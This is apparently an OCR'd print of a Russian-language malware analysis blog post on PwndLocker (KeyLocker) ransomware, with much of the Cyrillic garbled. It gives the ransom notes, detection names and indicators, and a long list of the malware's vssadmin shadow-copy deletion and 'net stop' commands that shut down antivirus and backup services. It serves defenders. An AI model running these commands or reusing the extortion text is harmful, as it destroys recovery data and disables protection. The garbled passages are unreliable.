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PwndLocker Ransomware

KeyLocker Ransomware

(mudpoBanbIMK-BbIMOrare/ib) (IepBOMCTOYHHUK)

Translation into English

ITOT KPUIITO-BBIMOTaTe b MK pyeT JaHHbIe KOMITBIOTEPOB CeTeil FOpPOJCKUX aMUHUCTPALIUM, TOCYAapCTBEHHBIX
CITy>K0, TIPeANPUSTHI, OpraHu3al|ii U rp. ¢ nomMoinpbio AES, a 3areM TpedyeT BeIKyT B pa3mepe ot $175 000 g0
$660 000 B BTC, uto6b! BepHYTH (aiinbl. CyMMa BBIKYTIA 3aBUCUT OT pa3Mepa CeTH, KOJTMUeCcTBa COTPYAHUKOB U
TOJIOBOTO /Ioxoa ">kepTBbI'. OTa nHpopMarus cobupaercs mepe/; HauaioM ataku. OpurrHaspHOe HasBaHue: file
locker (yxa3aHo B 3amuicke). Ha caiine HarvcaHo: pa3Hble Ha3BaHUSI.

Baxxno! OpurrHanbHbIN JeIUPOBIIHK HU3-3a OIHOKKU He MOXKeT paciidpoBath (aiinel pasmepom 6osiee 64 M6,
TI03TOMY yIJIaTa BBIKYTIa B 3TOM Cyiy4ae GecrionesHa.

BbI MoxeTe 3aka3arh pacimgpoBky B Emsisoft mo cceuike >> .

OGHapyxeHHs:

DrWeb -> Trojan.Encoder.29865, Trojan.Encoder.30377, Trojan.Siggen9.16872, Trojan.Encoder.31166
BitDefender -> Trojan.Peed.Gen

ALYac -> Trojan.Ransom.PwndLocker

ESET-NOD32 -> A Variant Of Win32/Filecoder.OAZ, A Variant Of Win32/Filecoder.PwndLocker.A
Fortinet -> W32/AntiAV!tr

GData -> Win32.Trojan-Ransom.PwndLocker.A

Kaspersky -> HEUR:Trojan.Win32.AntiAV, Trojan-Ransom.Win32.Pwnd.b

Malwarebytes -> Trojan.AntiAV, Ransom.PwndLocker

McAfee -> Downloader-AE

Qihoo-360 -> Win32/Trojan.Anti.afe

Rising -> Trojan.AntiAV!8.9C4 (CLOUD), Spyware.POSCardStealer!8.644 (CLOUD)

Symantec -> ML.Attribute.HighConfidence, Trojan Horse, Trojan.Gen.MBT

TrendMicro -> TROJ_GEN.R011COPLE19, TROJ_FRS.0NA104C220

VBA32 -> Trojan.AntiAvV

© I'eneanorusa: PwndLocker > ProL.ock
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W306pa>keHrie — JIOTOTHIT CTaThH

K 3amm¢poBaHHbIM (aiiiamM MOTYT 1006aBAATHCS pa3/IMUHbIe pacIIMpeHus:
.pwnd
key

OBHI/IMaHHE! Hogrle paciirpeHund, email u TekCThI 0 BBIKYTIE€ MOXXHO HaWlTU B KOHIIe CTaTbH, B 0OHOB/IEHUSX.

Tam MOryT OBITE pa3/inuud C repBoHa4d/IbHbIM BaADUAHTOM.

AKTHBHOCTb 3TOr0 KPUIITO-BBIMOTaTe Is TIPUIIIACh Ha OKTSOpb-AeKabpb 2019 roga v Mpoio/pKuIach B heBpare
2020 r. OpreHTHPOBaH Ha aHIVIOA3bIYHBIX I10/1b30BaTe/Iel, UYTO He MelllaeT PaclpoCTPaHATh ero 1o BCeMy MHUPY.

U3BecTtHO 0 noctpagaBumx B CIIIA, Cepbun u Ipyrux cTpaHax EBpOIBL

3ammicka c TpeboBanueM Beikyra Ha3biBaeTcs:: HOw_TO0_RecOvery_Files.txt

Viar rptwork have been peretrafed ard encrypied with a gtrong algerythem
nackups were il remaved of encrypred
WO ONE Can h.‘-lr ¥ou To recover the reTwork except us

B not share t link or email. Otherwise, we will have to delete the decrypiion keys
Ta get your T1les back you have 1o pay The decrypiion Mes 1o AT

The price depends on the etwork size, nunber of erplayess and annual révens,

ol oad TOR-Browser: hoops: S torprofect . or g/ down load

Wk, T
LoQg1n using youwr ID

r move encrypted files

7 Setrypring 1o W11 Pesche fn the Toss of your data

Cojiep>kaHue 3aMMCKH 0 BBIKYIIE:

Your network have been penetrated and encrypted with a strong algorythm

Backups were either removed or encrypted

No one can help you to recover the network except us

Do not share this link or email, otherwise, we will have to delete the decryption keys

To get your files back you have to pay the decryption fee in BTC.
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The price depends on the network size, number of employess and annual revenue.
Download TOR-Browser: https://www.torproject.org/download/

Login ***** using your [D #*#*#**

or

contact our support by email ***

You'll receive instructions inside.

You should get in contact with us within 2 days after you noticed the encryption to have a good discount.
The decryption key will be stored for 1 month.

The price will be increased by 100% in two weeks

We also have gathered your sensitive data.

We would share it in case you refuse to pay

Do not rename or move encrypted files

Decryption using third party software is impossible.

Attempts to self-decrypting files will result in the loss of your data.

ITepeBop 3anicKu Ha PyCCKHIl SI3BIK:

Barmia ceth OblTa B3/10MaHa U 3aIU(ppOBaHa C CUIBHBIM a/ITOPUTMOM

Pe3sepBHbIe KOMWY OBIIN y7aIeHbI UK 3alIA(POBAHBI

Hukro He MoKeT ITOMOYL BaM BOCCTaHOBUTH CeTh, KPOMe Hac

He pgemurecs 3Toi cChIIKOM MM email, MHaue HaM MPUZETCS YAATIUTE KTIOUX Jleli(POBaHUS
YToObI BepHYTH Balliu (haiisibl, BbI JO/DKHBI 3aIIaTUTh 3a paciiugpoBky B BTC.

LleHa 3aBUCHT OT pa3Mepa CeTH, KOJIMueCcTBa pabOTHUKOB U TOZI0BOTO JIOX0/a.

3arpysute TOR-6pay3ep: https://www.torproject.org/download/

BotiguTe B cucteMy ***** pcrionb3ysi cBoit [D ***

WIn

CBSDKUTECH C Halllel Cy>K00M ToAep>KKU 110 email ***

BbI nomyunTe MHCTPYKIMY BHYTPH.

BBbI I0/DKHBI CBSI3aThCSI C HAMH B TeueHHe 2 THel TI0C/Ie TOTO, KaK BbI 3aMeTH/IN IU(PPOBaHIe, UTOObI TTOTYUUTh
XOPOIIYIO CKHUJIKY.

Krtou enmipoBanvist OyieT XpaHUThCS B TeueHue 1 Mecsiia.

Llena Oyget yBenuueHa Ha 100% uepe3 1Be Hefienu

MB&I TakKe coOpasiy Bali KOHPUIeHI[Ha/TbHbIE JAHHBIE.

MEI MOJie/TAMCS 3TUM B CJTydae OTKa3a OT OTLIaThl

He neperMeHOBBIBaliTe 1 He TiepeMelriaiiTe 3amydpoBaHHbIe (ai/Ibl

PacumidpoBKa ¢ UCT0/Ib30BaHIEM CTOPOHHUX ITPOrPaMM HeBO3MOJKHa.

IToNBITKK CaMOCTOSATETBHO pacinpoBaTh (aiiibl MPUBEAYT K MOTepe BalllkuX /JaHHbBIX.

HornonHuTebHOE COo00IeHre OT BbIMOraTesei
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Congratulations

it you ane hese, wou ang the viciim of a fle locker,

To get your files unlocked, please pay.

I you want to make test unlock, please contact support

Copep>kaHue COO0IIeHNA:

Congratulations

if you are here, you are the victim of a file locker.
To get your files unlocked, please pay.

If you want to make test unlock, please contact support.

ITepeBopj Ha pyccKmii:

[To3gpasnsto

eCJI1 BBl 371eCh, BbI )kepTBa (haii0Boro JioKepa.
[nst pa306/I0KMPOBKY (haii/ioB, TIaTHTe.

Ecimm xotuTe cfiesiath TecT-pa3tiiok, MUAIINTE B TOIEPKKY.

TexHuueckue geTaau

MosKeT pacripoCTpaHsITLCS MyTEM B3/I0Ma uepe3 He3alluilieHHYI0 KoHpuryparuio RDP, ¢ momorisio email-criama
Y BPeJIOHOCHBIX BIOYKeHHH, 0OMaHHBIX 3arpy30K, O0THETOB, FKCIIIOUTOB, BPeJOHOCHOH PeK/IaMbl, BeO-UH)KEKTOB,
(hambIIMBBIX 0OHOBJIEHUH, ITeperTakoBaHHbIX 1 3apaXKEHHBIX MHCTaIIATOPOB. CM. Takke "OCHOBHBIE CITOCOOBI

pacrpocTpaHeHHsT KpUITTOBBIMOraTesiel" Ha BBOJJHOM CTpaHHMIle bJora.

OHy)KHO BCeryja UCI0/1b30BaTh AKTYalIbHYI0 aHTUBUPYCHYIO 3auTy!!!

Eciu BbI nipeHe6GperaeTe KOMILJIEKCHOM aHTUBMPYCHOM 3aruTol Kiacca Internet Security vu Total Security, To

x0Ts OBl ZlenaliTe pe3epBHOe KOTMPOBaHKWe BaXXKHBIX (aiiyioB 1o MeToxy 3-2-1.

> YnansieT TeHeBble KOIUU (haiiyioB Ha BCeX pa3ziesiax AUCKOB C TTOMOIIBbI0 KOMaH/:
'<SYSTEMJ32>\vssvc.exe'

'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=E: /on=E: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' delete shadows /all /quiet’, 0
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'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=401MB', 0

'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=unbounded', 0

f—
db “delete shadows fall fguiet” @

db ‘resize shadowstorage Sfor=c: fon=c: fmaxsize=4HE" 0

dh ‘resize shadowstorage Sforsc: Son=c: fmaxsizes=unbounded® @
db “p* .0

» 111 pacrpoCTpaHeHus UCIIO/b3yeT ChEMHBIe HOoCUTeU. [/ obecreueHys aBTO3aIyCKa U pacrpoCTpaHeHust
co3faet caenyrorye (aiibl Ha ChéMHOM HocuTeste (X - roboe UMst TUCKa):
X:\HOw_TO_RecOvery_Files.txt

X:\delete.avi

X:\correct.avi

X:\split.avi

X:\default.bmp

X:\dialmap.bmp

X:\dashborder_192.bmp

X:\dashborder_120.bmp

X:\contosoroot.cer

X:\contoso_1.cer

X:\sdkfailsafeemulator.cer

X:\contoso.cer

X:\testee.cer

X:\holycrosschurchinstructions.docx

X:\sdszfo.docx

» 3amnyckaeT Ha UCTIOJTHEHHe CJie/IyIolie KOMaH/bl C 11e/bi0 3aBepiieHust rpoijeccoB (Process Killer):
'%WINDIR%\syswow64\taskkill.exe' /IM firefox.exe /F
'%WINDIR%\syswow64\net.exe' stop sacsvr /y
'%WINDIR%\syswow64\net.exe' stop SamSs /y
'%WINDIR%\syswow64\net.exe' stop SAVAdminService /y
'%WINDIR%\syswow64\net.exe' stop SAVService /y
'%WINDIR%\syswow64\net.exe' stop SDRSVC /y
'%WINDIR%\syswow64\net.exe' stop SepMasterService /y
'%WINDIR%\syswow64\net.exe' stop ShMonitor /y
'%WINDIR%\syswow64\net.exe' stop Smcinst /y
'%WINDIR%\syswow64\net.exe' stop SMTPSvc /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PRACTTICEMGT /y
'%WINDIR%\syswow64\net.exe' stop SNAC /y
'%WINDIR%\syswow64\net.exe' stop SntpService /y
'%WINDIR%\syswow64\net.exe' stop sophossps /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$BKUPEXEC /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$CITRIX_METAFRAME /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$CXDB /y
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'%WINDIR%\syswow64\net.exe' stop SQLAgentSECWDB2 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PRACTTICEBGC /y
'%WINDIR%\syswow64\net.exe' stop RESvc /y
'%WINDIR%\syswow64\net.exe' stop SmcService /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop MSSQLServerOLAPService /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SQL._2008 /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$TPS /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop MSSQLSERVER /y
'%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper /y
'%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100 /y
'%WINDIR%\syswow64\net.exe' stop MySQL57 /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop MySQLS80 /y
'%WINDIR%\syswow64\net.exe' stop NetMsmqActivator /y
'%WINDIR%\syswow64\net.exe' stop ntrtscan /y
'%WINDIR%\syswow64\net.exe' stop OracleClientCache80 /y
'%WINDIR%\syswow64\net.exe' stop PDVFSService /y
'%WINDIR%\syswow64\net.exe' stop POP3Svc /y
'%WINDIR%\syswow64\net.exe' stop ReportServer /y
'%WINDIR%\syswow64\net.exe' stop ReportServer$SQL_2008 /y
'%WINDIR%\syswowb64\net.exe' stop ReportServer$TPS /y
'%WINDIR%\syswow64\net.exe' stop SQLBrowser /y
'%WINDIR%\syswow64\net.exe' stop wbengine /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SBSMONITORING /y
'%WINDIR%\syswow64\net.exe' stop tmlisten /y
'"%WINDIR%\syswow64\net.exe' stop TrueKey /y
'%WINDIR%\syswow64\net.exe' stop TrueKeyScheduler /y
'%WINDIR%\syswow64\net.exe' stop TrueKeyServiceHelper /y
'%WINDIR%\syswow64\net.exe' stop UlODetect /y
'%WINDIR%\syswow64\net.exe' stop VeeamBackupSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamBrokerSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamCatalogSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamDeploymentService /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net.exe' stop VeeamDeploySvc /y
"%WINDIR%\syswow64\net.exe' stop VeeamEnterpriseManagerSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamHvIntegrationSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamMountSvc /y
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'%WINDIR%\syswow64\net.exe' stop VeeamNFSSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamRESTSvc /y
'%WINDIR%\syswow64\net.exe' stop VeeamTransportSvc /y
'%WINDIR%\syswow64\net.exe' stop W3Svc /y
'%WINDIR%\syswow64\net.exe' stop TmCCSF /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SBSMONITORING /y
'%WINDIR%\syswow64\net.exe' stop swi_update_64 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$VEEAMSQL2012 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SOPHOS /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SQLEXPRESS /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$TPS /y
'%WINDIR%\syswowb64\net.exe' stop SQLAgent$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$VEEAMSQL2008R?2 /y
'%WINDIR%\syswow64\net.exe' stop SQLAgent$PROD /y
'%WINDIR%\syswow64\net.exe' stop swi_service /y
'%WINDIR%\syswow64\net.exe' stop SQLSafeOLRService /y
"%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT /y
'%WINDIR%\syswow64\net.exe' stop SQLTELEMETRY /y
'%WINDIR%\syswow64\net.exe' stop SQLTELEMETRY$ECWDB2 /y
'%WINDIR%\syswow64\net.exe' stop SQLWriter /y
'%WINDIR%\syswow64\net.exe' stop SstpSvc /y
'%WINDIR%\syswow64\net.exe' stop svcGenericHost /y
'%WINDIR%\syswow64\net.exe' stop swi_filter /y
'%WINDIR%\syswow64\net.exe' stop swi_update /y
'%WINDIR%\syswow64\net.exe' stop VeeamCloudSvc /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SPROFXENGAGEMENT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PROFXENGAGEMENT /y
"% WINDIR%\syswow64\net.exe' stop BackupExecManagementService /y
'%WINDIR%\syswow64\net.exe' stop BackupExecRPCService /y
'%WINDIR%\syswow64\net.exe' stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\net.exe' stop bedbg /y
"%WINDIR%\syswow64\net.exe' stop DCAgent /y
'%WINDIR%\syswow64\net.exe' stop EhttpSrv /y
'%WINDIR%\syswow64\net.exe' stop ekrn /y
'%WINDIR%\syswow64\net.exe' stop EPSecurityService /y
'%WINDIR%\syswow64\net.exe' stop EraserSvc11710 /y
'%WINDIR%\syswow64\net.exe' stop klnagent /y
'%WINDIR%\syswow64\net.exe' stop EsgShKernel /y
'%WINDIR%\syswow64\net.exe' stop ESHASRV /y
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'%WINDIR%\syswow64\net.exe' stop FA_Scheduler /
N p y
'%WINDIR%\syswow64\net.exe' stop IISAdmin /y
'%WINDIR%\syswow64\net.exe' stop IMAP4Svc /y
'%WINDIR%\syswow64\net.exe' stop KAVEFES /y
'%WINDIR%\syswow64\net.exe' stop KAVFSGT /

\ p y
'%WINDIR%\syswow64\net.exe' stop kavfsslp /y
'%WINDIR%\syswow64\net.exe' stop BackupExecJobEngine /

N p p gine /7y
'%WINDIR%\syswow64\net.exe' stop EPUpdateService /y
'%WINDIR%\syswow64\net.exe' stop BackupExecDeviceMediaService /y
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\net.exe' stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\net.exe' stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\net.exe' stop "LanmanServer" /y
'%WINDIR%\syswow64\net.exe' stop "LanmanWorkstation" /y
'%WINDIR%\syswow64\net.exe' stop "SQLdmCollectionService$Default" /y
'%WINDIR%\syswow64\net.exe' stop "SQLdmManagementService$Default" /y
'%WINDIR%\syswow64\net.exe' stop "SQLdmPredictiveAnalyticsService$Default" /y
'%WINDIR%\syswow64\net.exe' stop "SQL Backups" /y
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\net.exe' stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\net.exe' stop "Symantec System Recovery" /y
'%WINDIR%\syswow64\net.exe' stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\net.exe' stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\net.exe' stop AcronisAgent /y
'%WINDIR%\syswow64\net.exe' stop AcrSch2Svc /y
'%WINDIR%\syswow64\net.exe' stop Antivirus /y
'%9WINDIR%\syswow64\net.exe' stop ARSM /y
'%WINDIR%\syswow64\net.exe' stop AVP /y
'%WINDIR%\syswow64\net.exe' stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\net.exe' stop MMS /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$VEEAMSQL2012 /y
'%WINDIR%\syswow64\net.exe' stop MBAMService /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop MSOLAP$TPS /y
'%WINDIR%\syswow64\net.exe' stop MSOLAPSTPSAMA /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$BKUPEXEC /y
'%WINDIR%\syswow64\net.exe' stop MSSQLSECWDB?2 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SPRACTICEMGT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$PRACTTICEBGC /y
'%WINDIR%\syswowb64\net.exe' stop MSSQL$PROD /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SBSMONITORING /y
'%WINDIR%\syswow64\net.exe' stop masvc /y
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'%WINDIR%\syswow64\net.exe' stop MSSQL$SHAREPOINT /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SOPHOS /y
'%WINDIR%\syswow64\net.exe' stop MSSQLS$SQL._2008 /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SQLEXPRESS /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$SYSTEM_BGC /y
'%WINDIR%\syswow64\net.exe' stop MSSQLSTPS /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$TPSAMA /y
'%WINDIR%\syswow64\net.exe' stop MSSQL$VEEAMSQL2008R?2 /y
'%WINDIR%\syswow64\net.exe' stop MSOLAPS$SQL_2008 /y
'%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher /y
'%WINDIR%\syswow64\net.exe' stop msftesql$PROD /y
'%WINDIR%\syswow64\net.exe' stop mfevtp /y
'%WINDIR%\syswow64\net.exe' stop MBEndpointAgent /y
'%WINDIR%\syswow64\net.exe' stop McAfeeEngineService /y
'%WINDIR%\syswow64\net.exe' stop McAfeeFramework /y
'%WINDIR%\syswow64\net.exe' stop McAfeeFrameworkMcAfeeFramework /y
'%WINDIR%\syswow64\net.exe' stop McShield /y
'%WINDIR%\syswow64\net.exe' stop McTaskManager /y
'%WINDIR%\syswow64\net.exe' stop mfefire /y
'%WINDIR%\syswow64\net.exe' stop mfemms /y
'%WINDIR%\syswow64\net.exe' stop macmnsvc /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeSA /y
'%WINDIR%\syswow64\net.exe' stop mozyprobackup /y
'%WINDIR%\syswow64\net.exe' stop MsDtsServer /y
'%WINDIR%\syswow64\net.exe' stop MsDtsServer100 /y
'%WINDIR%\syswow64\net.exe' stop MsDtsServer110 /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeES /y
'%WINDIR%\syswow64\net.exe' stop MSExchangelS /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeMGMT /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeMTA /y
'%WINDIR%\syswow64\net.exe' stop MSExchangeSRS /y
'%WINDIR%\syswow64\net.exe' stop WRSVC /y

Page 9 of 15



https://id-ransomware.blogspot.com /2019 /10 /pwndlocker-ransomware.htm|

“mcrenis USS Prowider™® @
“Enterprise Cliemt Serwvice”* @
“Lanmaniervers’ 0
anmanborkstation™® @
dnollectionSereiceSDefault™" B0
(LdrtsnagenentSereiceSlefanlt™" 0
“gilapfredictiveanalyticstervicedbefanlt™" .0
=501 Backups™® B

SLsaFe Backup Sereice™' .0
“SllzafFe Filter Serwice™’' @
“Symantec System Hecovery™' .0
“Weean Backup Catalog Pata Service™" 0
‘Fonlz 2 Service™' 0

Acronisagent® @

Aerich2ivc” 0

Anlivires" @

AREH" , B

AWP" @

BackupExecAgenticoelerator’ 0
BackupExecAgentBrowser” @
BackuppLxecievicemediatervice” @
BackupExectonEngine” @
BackupExecHanagementSeruice” 0
BackupExecRPCSerwice’ 0
BackupCxecWSSProvider® @

nEidngt 0

DEAgent" B

EhttpSre’ 0

ehkrn® 0

EPSecurityService’ 0
EFlpdateSeruice” @

EraserSect1s1n’ .0

Esgihkernel” ;0

CEHASAY®

Fii Schedoler A

TiSAdmin' 0

» Cpe[y 3aBepIleHHbIX MPOLIECCOB eCTb aHTUBUPYCHbBIE TIPOTPaMMBbI:
Kaspersky

Symantec

McAfee

U ipyrve

Bcps3u ¢ atum PwndLocker MO)KHO Ha3BaTh aHTH-aHTUBUDYCHBIM Bpe/IOHOCHBIM T10.

Crucok (ail/IoBbIX paclIMpeHHi, MOABePranIuxcs M poBaHHIO:
BeposiTHO Bce uy mouTH Bee (aiiyibl, KpOMe TeX, UTO HAaXOAUTCS B TIPOIMYCKAEMBIX AUPEKTOPUSIX.
310 MoryT OBITH TOKyMeHTHI MS Office, OpenOffice, PDF, TekcToBbIe (aiiibl, 6a3bl JaHHBIX, oTorpaduy,

MY3bIKa, BU/I€0, (haiiibl 06pa3oB, apXUBbI U TIP.

» TIpu nmdpoBaHUH MTPOMYCKAIOTCST HEKOTOPBIE AUPEKTOPUH:
Windows

Windows Defender
Windows Mail

Windows Media Player
Windows NT

Windows Photo Viewer
Windows Portable Devices
Windows Sidebar
WindowsApps
WindowsPowerShell
$Recycle.Bin (Recycle.Bin)
Adobe

All Users
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Common Files

DVD Maker

Internet Explorer
Kaspersky Lab

Kaspersky Lab Setup Files
Microsoft

Microsoft

Microsoft

Microsoft. NET
Microsoft_Corporation
Mozilla Firefox

MSBuild

Packages

PerfLogs

System Volume Information
Temp

Uninstall Information

» [Ipu mmpoBaHKY MTPOMYCKAIOTCS CAeAYIOMIYe TUTIHI (paiinos:
.bac, .bak, .bat, .bkf, .chm, .cmd, .dll, .dsk, .exe, .hlf, .ico, .inf, .ini, .Ing, .Ink, .msi, .set, .sys, .ttf, .vhd, .wbc, .win

(22 paciupenus).

CI1iCcoK MOKeT pas3nyuaTrbCsd B 3aBUCUMOCTHU OT BEePCUH.

®daiisibl, CBA3aHHbIE € ’TUM Ransomware:
HOw_TO_RecOvery_Files.txt - Ha3BaHHe TeKCTOBOTO (haiina
<random>.exe - c/iyuaiiHoe Ha3BaHHe BPeJOHOCHOTO (aiisa
contoso.cer

contoso_1.cer

contosoroot.cer

correct.avi

dashborder_XXX.bmp (rge XXX - ciyuaiiHoe 41C/I0)
default.bmp

delete.avi

dialmap.bmp

holycrosschurchinstructions.docx

sdkfailsafeemulator.cer

testee.cer

sdszfo.docx

split.avi

lock.xml

[Mcrionb30BaHe HEKOTOPBIX (aiiioB 13 3Toro Habopa onvcano Dr.Web B cTatbsx
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o Win32 HLIL.W.Autoruner2.50916, Win32.HL.LW.Autoruner2.52382]

Habop ¢atinos, BUAUMO, 3aBUCHT OT BePCHU BPeJOHOCA, KOH(UTYPAL[X aTaKyeMoi KOMITbIOTePHOMN CeTH U

HEKOTOPBIX JPYTUX HepacKpblBaeMbIX '"'3/1eMEeHTOB '

Pacnionoxxenus:

\Desktop\ ->

\User_folders\ ->

\%TEMP%\ ->

X:\ -> (X - moboe UMsI TOKaJILHOTO WM BHEIITHETO JVCKA)

C:\Programdata\lock.xml

3anucu peecTpa, CBA3daHHbIE C 3 TUM Ransomware:

CM. HuKe pesy/bTaThl aHA/IM30B.

CeTeBbIe MOJK/TIOUEHHS  CBA3M:

Email: He 6511 110Ka3aH

BTC: He 6bU1 HOKa3aH

CM. HIDKe B 0OHOBJIEHUSIX IpyTHe afipeca U KOHTaKTHI.

CM. HUXKe pe3y/bTaThl aHaIn30B.

Pe3y/ibTaThl aHATU30B:
@ Hybrid analysis >>
Z VirusTotal analysis >> VT>

® Intezer analysis >>

2 ANY.RUN analysis >>

X VMRay analysis >>

() VirusBay samples >>

/A MalShare samples >>

% AlienVault analysis >>

%] CAPE Sandbox analysis >>
D JOE Sandbox analysis >>

CrerneHb pacrpoCTPaHEHHOCTH: CPeHsIs.

IMonpobHbIe cBeieHMs1 COOMParOTCs perysisipHo. ITpuckinakiTe 06pasibl.

=== ICTOPUA CEMENCTBA === HISTORY OF FAMILY ===

=== BJIOK OBHOB/IEHUIM === BLOCK OF UPDATES ===
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OonoBenue ot 9-12 gexadps 2020:

IToct B TBUTTEPE >>

Iloct B TBUTTEpPE >>

Pacrmmipenue: key
3arnucka: HOw_TO_RecOvery_Files.txt
Tor-URL: ax3spapdymip4jpy.onion

Pesynbrartel ananusos: VT

Hello, you are a victim of ransomware.

Oonossienue ot 24 despas 2020:
Pacumpenue: .pwnd

3arnucka: HOw_TO_RecOvery_Files.txt
Email: helpOfOryOu@protonmail.com
Tor-URL: ax3spapdymip4jpy.onion

Pesynwrartel aHanu3os: VT + HA + AR + IA

OO6Hapy)XeHUs:

ALYac -> Trojan.Ransom.PwndLocker

Avira (no cloud) -> TR/Crypt. XPACK.Gen

BitDefender -> Trojan.Peed.Gen

DrWeb -> Trojan.Siggen9.16872, Trojan.Encoder.31166
ESET-NOD32 -> A Variant Of Win32/Filecoder.PwndLocker.A
Fortinet -> W32/Pwnd.B!tr.ransom

GData -> Win32.Trojan-Ransom.PwndLocker. A
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https://www.virustotal.com/gui/file/4e6c191325b37da546e72f4a7334d820995d744bf7bb1a03605adb3ad30ce9ca/detection
https://www.hybrid-analysis.com/sample/4e6c191325b37da546e72f4a7334d820995d744bf7bb1a03605adb3ad30ce9ca?environmentId=100
https://app.any.run/tasks/bfc73564-9349-4ce9-bce2-350b02d13d80/
https://analyze.intezer.com/#/analyses/c049a8cd-4b94-4259-9990-9859de754e5e
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Kaspersky -> Trojan-Ransom.Win32.Pwnd.b
Malwarebytes -> Ransom.PwndLocker

McAfee -> Downloader-AE

Microsoft -> Trojan: Win32/Occamy.C

Rising -> Spyware.POSCardStealer!8.644 (CLOUD)
Sophos AV -> Mal/Generic-S

Symantec -> Trojan.Gen.MBT

Tencent -> Win32.Trojan.Filecoder.Dzag
TrendMicro -> TROJ_FRS.0NA104C220

VBA32 -> TrojanRansom.Pwnd

OoHoBienue ot 2 maprta 2020:

=== BJIOK CCBUIOK u CITACUBOK = BLOCK OF LINKS AND THANKS ===

UNLOCK

Bbl MoXkeTe 3akasaTb MHAMBMAyanbHylo paclumndpoeky B Emsisoft.
OnAa stoi nepeingnTte Ha canT Emsisoft mo cceinke >>

http: 3

k Read to links:

Tweet on Twitter + Tweet + myTweet

ID Ransomware (ID as PwndLocker)
Write-up, Topic of Support

*

&

o Thanks:

MalwareHunterTeam, Michael Gillespie

nKs

Andrew Ivanov (author)
BYEMAN, BleepingComputer
to the victims who sent the samples
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https://twitter.com/malwrhunterteam/status/1230576922356305922
https://twitter.com/malwrhunterteam/status/1230859437306454018
https://twitter.com/Amigo_A_/status/1233117169568931843
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© Amigo-A (Andrew Ivanov): All blog articles.

Source: https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html
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